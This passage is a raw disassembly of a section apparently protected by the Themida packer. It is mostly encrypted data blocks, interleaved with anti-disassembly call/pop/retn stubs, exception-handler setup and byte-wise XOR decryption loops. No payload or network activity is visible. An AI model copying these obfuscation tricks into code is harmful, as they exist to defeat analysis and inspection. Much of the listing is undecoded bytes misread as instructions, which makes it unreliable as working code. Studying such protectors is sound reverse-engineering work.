		dd 95FF06A8h, 6A815F9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0CC35343h, 9D8B49E8h,	6A80FF9h, 1E0DBD8Bh
		dd 0B58B06A8h, 6ABA21Bh, 1A3EBF66h, 614808BFh, 106C724h
		dd 6A000100h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 4472C356h, 0BEC72C6h, 0A807459Dh
		dd 66579606h, 5B7DA5BFh, 0FE950h, 12430000h, 8A1DD76Ch
		dd 0BC3A0088h, 8BF5CDDCh, 0B5FF96C2h, 6ABA227h,	6AAABB66h
		dd 219995FFh, 0BD8906A8h, 6A81D45h, 0A21BB58Bh,	0BD2906ABh
		dd 6A82E4Dh, 0E41858Bh,	8B5306A8h, 0A819E1BDh, 86895F06h
		dd 0C4h, 2B59B509h, 958B06A8h, 6A805B9h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 82C35747h, 0C2CC99Fh
		dd 8E38EF12h, 9BD8BBBh,	8306A831h, 0B2BF04C2h, 8975F238h
		dd 95292050h, 6A82EE9h,	0B7CE858Dh, 6A06ABh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E4EE1EC3h
		dd 3A5C45F0h, 66994CD0h, 8689FA8Bh, 0B8h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 98C35646h, 6A29D882h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0FAB58A08h, 3ED50225h, 0E8F88A6Dh, 0Fh
		dd 16454264h, 6600049Dh, 65752683h, 8B53321Ch, 0B5FF5BD8h
		dd 6ABA227h, 141D9D03h,	95FF06A8h, 6A81E1Dh, 65D4E381h
		dd 50966351h, 6A96D98Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 53F1C352h, 0E96C33A5h
		dd 9, 0F16D6FA4h, 0FA428362h, 27B5FF8Ch, 6A06ABA2h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0BA4CC353h, 0CA17B91Eh, 5FD0C351h, 0EE9h, 0B7A1F900h
		dd 20E5D647h, 0AF54332Dh, 0FF11BB35h, 0A82A6995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 1870F64h, 0F8000000h, 2E3DBD83h, 0F0006A8h, 3E84h, 0ADBD8B00h
		dd 9606A82Ch, 0E9525050h, 8, 4160984Bh,	0B98BBA03h, 0DA8B310Fh
		dd 6A96585Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 38DFC356h, 0FFE2FD9Eh,	0ABA227B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0BBE8DE64h, 0F9B70F9Ah, 318595FFh, 6A06A8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0D381FBC3h, 616B3D96h, 0A227B5FFh, 6A06ABh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 114D23C3h, 6424CC3Bh, 0F5595FFh, 0BD8306A8h,	6A8077Dh
		dd 58840F02h, 8B000000h, 0A80D1985h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0B5892E23h
		dd 860Fh, 0E7810000h, 726218E3h, 6A0000C6h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 4911C356h
		dd 0F841678Dh, 0C7D8BF0Fh, 0A80DC185h, 6, 6DBD8B00h, 0E906A807h
		dd 0FFFFF379h, 178B0Fh,	12E90000h, 0A0000000h, 0FAC0CE87h
		dd 85507282h, 4A7FC1C5h, 0E1FD977Bh, 0D5E78174h, 8B30D883h
		dd 6DBD89C1h, 8D06A833h, 0A8338585h, 0F008BF06h, 8B903E18h
		dd 6A9050F8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 2920C352h, 0A82229BDh,	8B006A06h
		dd 0A826CDBDh, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0C3F4C352h,	8D895685h
		dd 6A82809h, 0AE2543BFh, 6858D12h, 6A06AC44h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 44BDC351h, 0D11FB13Bh, 0CB813188h, 54040F0Dh, 0F05C083h
		dd 0B89h, 5830F00h, 66000000h, 722C781h, 24048950h, 32DD9D23h
		dd 6A06A8h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 15h,	0E6C35646h, 70D78198h, 6A5C36B7h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 8BF02795h, 4195FFFAh, 6A06A825h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B50AC357h
		dd 8589767Ah, 6A80971h,	8C7F8D8Dh, 8FBB06ABh, 0FF74459Dh
		dd 57006AD1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0EC8DECFEh, 1415520Ah, 16BB6646h, 0F8BF0FDEh
		dd 339DBD83h, 0F0106A8h, 8E85h,	830F00h, 31000000h, 0A819A5BDh
		dd 6A026A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 68C1C355h, 5BEC4CD5h, 0B2BB90D5h
		dd 504BF02Eh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 276EB1C8h, 0C9BD8B03h, 8906A830h
		dd 0A82131BDh, 1D95FF06h, 6A06A81Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8F03C350h
		dd 0EAE25926h, 0E9CF36A2h, 0D82h, 0E8h,	0ED815D00h, 6AC4410h
		dd 0A890Fh, 5E90000h, 94000000h, 6676D30Dh, 65D9D8Bh, 858D06A8h
		dd 6AB7E2Eh, 0CBBB90FCh, 50587B3Fh, 0CE9h, 0C1781700h
		dd 0DF3750B4h, 3029C6CDh, 0FE89007h, 7A000000h,	0D195A6D5h
		dd 1E61A9A6h, 68545ED6h, 0DE9350Eh, 53000000h, 9D113772h
		dd 500FF465h, 8D1147D8h, 9D29575Bh, 6A817C5h, 35FF645Bh
		dd 0
; ---------------------------------------------------------------------------
		push	ecx
		add	ebx, 1BB19473h
		pop	edi
		mov	large fs:0, esp
		push	0
		push	edx
		call	sub_58DEAA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DEAA	proc near		; CODE XREF: Themida_:0058DEA2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_58DEAA	endp

; ---------------------------------------------------------------------------
		dw 0AD8Dh
; ---------------------------------------------------------------------------
		jle	loc_58DEC8
		sub	edi, [ebp+6A805A5h]


loc_58DEC8:				; CODE XREF: Themida_:0058DEBCj
		inc	dword ptr [ebp+6A833F1h]
		jnp	loc_58DEDA
		add	edi, 0E9740CFh


loc_58DEDA:				; CODE XREF: Themida_:0058DECEj
		push	0FFFFFFFFh
		mov	bx, 0FFCFh
		push	dword ptr [ebp+6A81DA9h]
		push	0
		push	ebp
		call	sub_58DEF1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DEF1	proc near		; CODE XREF: Themida_:0058DEE9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_58DEF1	endp

; ---------------------------------------------------------------------------
		db 99h,	21h, 5
		dd 0EABD592Bh, 0BF668073h, 0BD89D36Bh, 6A83249h, 2A7D95FFh
		dd 0DE906A8h, 0F000001h, 680h, 9FE38100h, 0B037C57Bh, 11958900h
		dd 0E606A815h, 71E4F570h, 9E860h, 7B080000h, 5F3270DDh
		dd 66DBD340h, 17C1DA81h, 0E1BD8B5Fh, 6106A829h,	830F613Ch
		dd 0D0h, 0BE9h,	0F4883E00h, 0DE1B4A0h, 1568015Eh, 0B3C8B60Fh
		dd 6BA7Dh, 0BD8B0000h, 6A83261h, 8B66C18Bh, 8E9FEh, 7680000h
		dd 215A2A18h, 0E8C19D00h, 21BD8904h, 6606A834h,	0B3B7E2F7h
		dd 80B7C82Bh, 7E9D18Bh,	74000000h, 0FA330B23h, 1E93B33h
		dd 0F8000000h, 26C5858Bh, 0FE906A8h, 0EA000000h, 77E6DE3Ah
		dd 1D814B0Ah, 8BA98004h, 0C0831846h, 0DF8B6607h, 0F00C083h
		dd 0D03BDFB7h, 16830Fh,	6E90000h, 54000000h, 47C710D5h
		dd 3AE926h, 0BD0B0000h,	6A80D45h, 251D8D8Bh, 0BD8906A8h
		dd 6A80735h, 0F01E183h,	1F84h, 1DA58300h, 0FE06A825h, 2C98589h
		dd 958906A8h, 6A826C5h,	7AEF81F9h, 0E90B3795h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6ABC2F2h]
		push	0
		push	edx
		call	sub_58E03D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E03D	proc near		; CODE XREF: Themida_:0058E035p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_58E03D	endp

; ---------------------------------------------------------------------------
		db 44h,	2Fh, 34h
; ---------------------------------------------------------------------------
		xchg	ecx, [ecx-57F30E4Bh]
		push	es
		push	0
		push	0
		push	edx
		call	sub_58E064
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E064	proc near		; CODE XREF: Themida_:0058E05Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_58E064	endp

; ---------------------------------------------------------------------------
		dd 158A6860h, 6D5E01BCh, 1B3195FFh, 6A06A8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8E0FF7C3h
		dd 6, 1A81BD8Bh, 860F06A8h, 3, 0B9DAB70Fh, 0DBDh, 839AC780h
		dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 2D62AC3h,	735EEFE8h, 6E860h, 899C0000h, 6252799Bh
		dd 20AF1AB9h, 95895E45h, 6A800E1h, 850F6061h, 0Eh, 9E9h
		dd 0CF257900h, 7C29041h, 61FC0812h, 55006AFCh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0C5831B81h
		dd 320DBD8Bh, 0F78106A8h, 0BA48CB2h, 0B8h, 0B8F0F00h, 0F000000h
		dd 581h, 6032BF00h, 0D22B5118h,	0C233ADF5h, 0D003E8D1h
		dd 7504E983h, 4EBF66F4h, 53006A2Eh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0E6578DB9h, 0DFA4E6Eh
		dd 88h,	1DC9BD8Bh, 958B06A8h, 6A805B9h,	1605CB81h, 73B70843h
		dd 14698D8Bh, 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 1060C1C3h, 92F64938h, 8D319630h
		dd 6A82659h, 28A0F50h, 60000000h, 8B505B61h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 30619D8Bh, 6A06A8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 7023ABC3h, 0DE8B66D8h, 0BD83A3B3h, 6A80C91h,	2F840F00h
		dd 0B8000000h, 0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+6A84FAFh]
		push	0
		push	esi
		call	sub_58E239
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E239	proc near		; CODE XREF: Themida_:0058E231p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_58E239	endp

; ---------------------------------------------------------------------------
		jmp	cx
; ---------------------------------------------------------------------------
		mov	[ebp+6A81FE9h],	ebx
		cmp	dword ptr [ebp+6A80BBDh], 0
		jz	loc_58E6E8
		xor	bh, 1Eh
		cmp	dword ptr [ebp+6A80BBDh], 1
		jz	loc_58E703
		or	bx, 624Dh
		cmp	dword ptr [ebp+6A80BBDh], 3
		jbe	loc_58E6CD
		or	ebx, [ebp+6A82FEDh]
		mov	[ebp+6A80049h],	ebx
		pusha
		push	0
		push	edx
		call	sub_58E299
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E299	proc near		; CODE XREF: Themida_:0058E291p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_58E299	endp

; ---------------------------------------------------------------------------
		db 0D0h, 4Eh, 4
		dd 9E8h, 22BCE000h, 0BD3324F9h,	0EE8E6CCh, 0C0000000h
		dd 0CF439D8Fh, 0CFC7487Fh, 0AE4B8D3h, 7585893Ah, 5F06A801h
		dd 0D98C665Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	5DC35040h, 0B1E6402Ch, 0C015E65Ch, 6A04E180h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0EA26C352h, 0AE9958Eh, 33840FC9h, 6A000001h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0F3FEC352h, 0B9A1232Ah, 34F19D33h, 858B06A8h, 6A80BE1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C3C35343h
		dd 0AD9D8B1Ch, 3306A805h, 0A81D5D85h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 0D0C6C249h, 0E59531F8h, 5006A810h, 8B665250h, 0E9310FF9h
		dd 14h,	68964828h, 67495B50h, 0EE631A1Dh, 0CEE0F697h, 0E7226ACBh
		dd 489585Ah, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0E9E3BBAFh, 7, 18B7DC3Eh,	6AF3AAFAh
		dd 51B58900h, 6806A81Eh, 0C84A8AE9h, 81DF8B66h,	79162404h
		dd 0BD8B37D4h, 6A80C55h, 74195FFh, 0BD8B06A8h, 6A80CC5h
		dd 0A2278589h, 6A06ABh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 4E0BD0C3h, 12B68E4Dh, 0E960E681h
		dd 1F0h, 63936BBBh, 5956602Dh, 0A0DE8166h, 858B61D1h, 6ABA21Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E1C35646h
		dd 89A2C0E6h, 0A81EDD8Dh, 0DE906h, 582F0000h, 4FAF4E5Dh
		dd 0FF16577Dh, 0C7330446h, 1800h, 29B50100h, 8B06A834h
		dd 0ABA223B5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0ADF3B73Dh, 0F5D6186h
		dd 0CF80F9B7h, 7D858B48h, 6606A82Bh, 0BB5F381h,	6A0689h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0CBFE05C3h, 7CE6D53Ah, 69D78166h, 0DB816624h, 858BBA59h
		dd 6A80BE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0B7C35343h, 5858C49Ah, 5850Fh, 81660000h, 8984BFD7h
		dd 0D4BB0446h, 5027EE1Eh, 13E8h, 0C97CC500h, 0BA73C413h
		dd 73B021Bh, 3F83F5B5h,	125BE367h, 2434895Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 5BC35141h, 0C1958964h
		dd 906A82Bh, 0A8219D95h, 1FB5FF06h, 3106ABA2h, 0A8177D8Dh
		dd 99B16806h, 481D9E6h,	386A4E24h, 51006A26h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0BAC7CDC6h
		dd 858DA347h, 6ABA227h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 57C35141h, 0A3A12D6Eh, 0DB80F514h, 1AB350E1h
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 4B45C350h, 0B5A1C70Ah,	0E781F46Fh
		dd 1C5C65C1h, 19C19D0Bh, 95FF06A8h, 6A80741h, 9E9h, 0FFD2EE00h
		dd 780BAA22h, 85296215h, 6A8110Dh, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 7C932BC7h
		dd 799D339Fh, 0C706A807h, 0A80BBD85h, 306h, 0BD83F900h
		dd 6ABA227h, 52840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4EA5C357h
		dd 65B57747h, 8B52DA5Ch, 0A82EA19Dh, 44BF6606h,	3AE988h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0B9D15EC3h
		db 10h
; ---------------------------------------------------------------------------


loc_58E6CD:				; CODE XREF: Themida_:0058E27Bj
					; Themida_:0058E6E4j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_58E6CD
		jmp	short loc_58E71E
; ---------------------------------------------------------------------------


loc_58E6E8:				; CODE XREF: Themida_:0058E259j
					; Themida_:0058E6FFj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_58E6E8
		jmp	short loc_58E71E
; ---------------------------------------------------------------------------


loc_58E703:				; CODE XREF: Themida_:0058E269j
					; Themida_:0058E71Aj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_58E703
		jmp	short $+2


loc_58E71E:				; CODE XREF: Themida_:0058E6E6j
					; Themida_:0058E701j
		mov	eax, eax
		mov	ebx, [ebp+6A82761h]
		jmp	loc_58E739
; ---------------------------------------------------------------------------
		db 0FCh
		dd 9AE7196Ch, 0B05346D4h, 2BB60933h
		db 0B0h
; ---------------------------------------------------------------------------


loc_58E739:				; CODE XREF: Themida_:0058E726j
		push	0
		push	eax
		call	sub_58E744
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E744	proc near		; CODE XREF: Themida_:0058E73Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_58E744	endp

; ---------------------------------------------------------------------------
		dd 858DBB10h, 0BD832FAFh, 6A80BBDh, 27850F03h, 0BB000004h
		dd 310A7D29h, 0A227BD83h, 0F0006ABh, 41584h, 1E1EBF00h
		dd 0B5FF0250h, 6ABA227h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 4CC35343h, 0E5FDB3AEh, 0E42CE1C5h, 0F995FF8Eh
		dd 0F06A815h, 0B58BD8B7h, 6ABA21Bh, 9B9BD8Bh, 0C7FC06A8h
		dd 1000106h, 96D98B00h,	0E88A7CBBh, 0BF665078h,	6A9637E3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 4154C350h, 1A606B2Fh, 0CE960h, 0E9DE0000h
		dd 49300B62h, 0FB2F517Eh, 11E90B88h, 0AB000000h, 0C3848C14h
		dd 6803B15h, 6D18A068h,	28A29CB4h, 27B5FF61h, 8B06ABA2h
		dd 0A81FB59Dh, 9995FF06h, 2906A821h, 0A8001995h, 10E906h
		dd 7FBC0000h, 2E1905DFh, 0C60B6867h, 0BDF6AA4Fh, 0B58BEC51h
		dd 6ABA21Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	43C35646h, 13E9A9h, 2C860000h, 0F9ED2483h, 4C81D9Dh
		dd 20A38DCDh, 0BD69F57Bh, 41858BFAh, 6A06A80Eh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0E9D8C352h, 0Eh, 0EADA8485h,	443A784Ah, 4D8FF04Eh, 840F1745h
		dd 6, 2C719D0Bh, 868906A8h, 0C4h, 7E95757h, 0D2000000h
		dd 56AD435Bh, 5B5FBD5Ch, 5B9958Bh, 9D8B06A8h, 6A81499h
		dd 8B04C283h, 0A80D919Dh, 20508906h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0ADC35343h,	98589B0h, 8B06A808h
		dd 0A810FD9Dh, 0CE858D06h, 6A06ABB7h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 88D5C356h
		dd 35B509D5h, 8906A81Bh, 0B886h, 0D624BB00h, 6A1762h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0B6C35040h, 3E9505B3h
		dd 0FF68312Dh, 0ABA227B5h, 0FF3FB706h, 0A81E1D95h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 8DF381D5h, 960EC377h, 5650F98Bh, 310F5250h, 14E8h, 0CE52ED00h
		dd 0A59968E5h, 625DE451h, 0C37C37F7h, 0DE08314Dh, 585A5F64h
		dd 6A965Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0EB2D28C3h, 0B3F12C3Ch, 860F254Eh, 5, 64D78166h
		dd 5E9DCh, 1D3B0000h, 0FF475186h, 0ABA227B5h, 39950106h
		dd 0FF06A801h, 0A82A6995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 57577079h
		dd 5F5FF98Bh, 2E3DBD83h, 0F0006A8h, 4E84h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 0DBD8B68h, 5006A811h, 6A243489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 28E1C357h
		dd 0BD893F9Ah, 6A82AF1h, 0FFDF8B66h, 0ABA227B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 55BD8B4Bh, 0FF06A817h, 0A8318595h, 199D2906h, 0FF06A825h
		dd 0ABA227B5h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 7FAA9EAFh, 3079D9FDh
		dd 0BB663F37h, 0BD31AB63h, 6A8211Dh, 0F5595FFh,	0B5BB06A8h
		dd 83580907h, 0A8077DBDh, 840F0206h, 63h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 0D3C35141h, 0A4EEDEB2h
		dd 0BBC86F19h, 1F0FBB59h, 0D19858Bh, 0FE906A8h,	16000000h
		dd 7A28C1A4h, 39D00D6Bh, 81CBFB10h, 0C6D59Dh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0C73BD7AAh, 0A80DC185h, 6, 0DBD0100h, 0F06A800h, 47E9DBBFh
		dd 0FFFFFF3h, 0C18BDFBFh, 858DAEB3h, 6A83385h, 0F98B90F9h
		dd 6A9ABF50h, 3190450Dh, 0A800C985h, 0F006A06h,	0D82h
		dd 8E900h, 34900000h, 0C49262C6h, 6A0F90h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0FDC35646h, 5C4B77h
		dd 18F744Eh, 0DFB70F2Fh, 8D8BDB80h, 0AC537185h,	1BD0306h
		dd 8306A817h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 43F7DEC3h, 106324A9h, 8A0F50E5h
		dd 4, 4E18BF66h, 1240489h, 0A81BA185h, 89006A06h, 0A82FED85h
		dd 6A006A06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0ECA8C352h, 60267497h,	0A6670C0Fh
		dd 386C12BFh, 0FE965h, 0EDD10000h, 0D0A92724h, 51F4585h
		dd 0C618759h, 4195FF31h, 0F06A825h, 680h, 81BD0300h, 8D06A82Dh
		dd 0AB8C7F8Dh, 79952906h, 0FF06A80Eh, 0B59589D1h, 0E906A82Dh
		dd 7, 36668D8Eh, 83AFD96Bh, 0A8339DBDh,	850F0106h, 0BEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B7C35141h
		dd 0BEC7C1FDh, 77EFD7BEh, 0FABF0F4Dh, 6A026Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 39C63C3h, 0E563A767h, 0E990B4EBh, 6,	7D32C36h, 5050D35Dh
		dd 866EBB52h, 310F5E96h, 6A90585Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0FD2AC350h
		dd 0CA4B8516h, 84546A8Dh, 0D1BD0960h, 0F06A815h, 0FF61D0B7h
		dd 0A81E1D95h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 9AAFF3F9h, 19E9528Ch
		dd 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6AC537Bh
		push	0
		push	ebx
		call	sub_58ED9A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ED9A	proc near		; CODE XREF: Themida_:0058ED92p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_58ED9A	endp

; ---------------------------------------------------------------------------
		dw 8057h
		dd 6E05E202h, 2DFDBD31h, 0DE906A8h, 75000000h, 8B4D4D87h
		dd 0F7F6C7Ah, 0CD059B35h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0A3C35040h, 6FBFEB73h, 0BF08C101h, 2D7B54A4h
		dd 7E2E858Dh, 6A06ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 2F5B3EC3h, 1EBDE525h, 0BB90F55Ah
		dd 2131D602h, 905B5350h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 8C35747h, 8BD18ABCh, 35FF64FAh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi


loc_58EE4F:				; CODE XREF: Themida_:0058EEBBj
		call	sub_58EE57
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58EE57	proc near		; CODE XREF: Themida_:loc_58EE4Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58EE57	endp

; ---------------------------------------------------------------------------
		db 66h
; ---------------------------------------------------------------------------
		clc
		mov	[ebp+6A8073Dh],	esi
		mov	[ebp+6A81E41h],	ebx
		mov	large fs:0, esp
		push	0
		push	edi
		call	sub_58EE87
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58EE87	proc near		; CODE XREF: Themida_:0058EE7Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58EE87	endp

; ---------------------------------------------------------------------------
		db 78h
; ---------------------------------------------------------------------------
		movsd
		clc
		inc	dword ptr [ebp+6A833F1h]
		push	0
		push	ecx
		call	sub_58EEAB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58EEAB	proc near		; CODE XREF: Themida_:0058EEA3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_58EEAB	endp

; ---------------------------------------------------------------------------
		js	short loc_58EE4F
		xor	bh, [ecx+66CE9973h]
		adc	ebx, 0FF6AEDBAh
		push	dword ptr [ebp+6A81561h]
		push	0
		push	esi
		call	sub_58EEDA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58EEDA	proc near		; CODE XREF: Themida_:0058EED2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_58EEDA	endp

; ---------------------------------------------------------------------------
		dw 0B355h
		dd 0E6A64452h, 5E80Fh, 1D3B0000h, 29475186h, 0A82F0595h
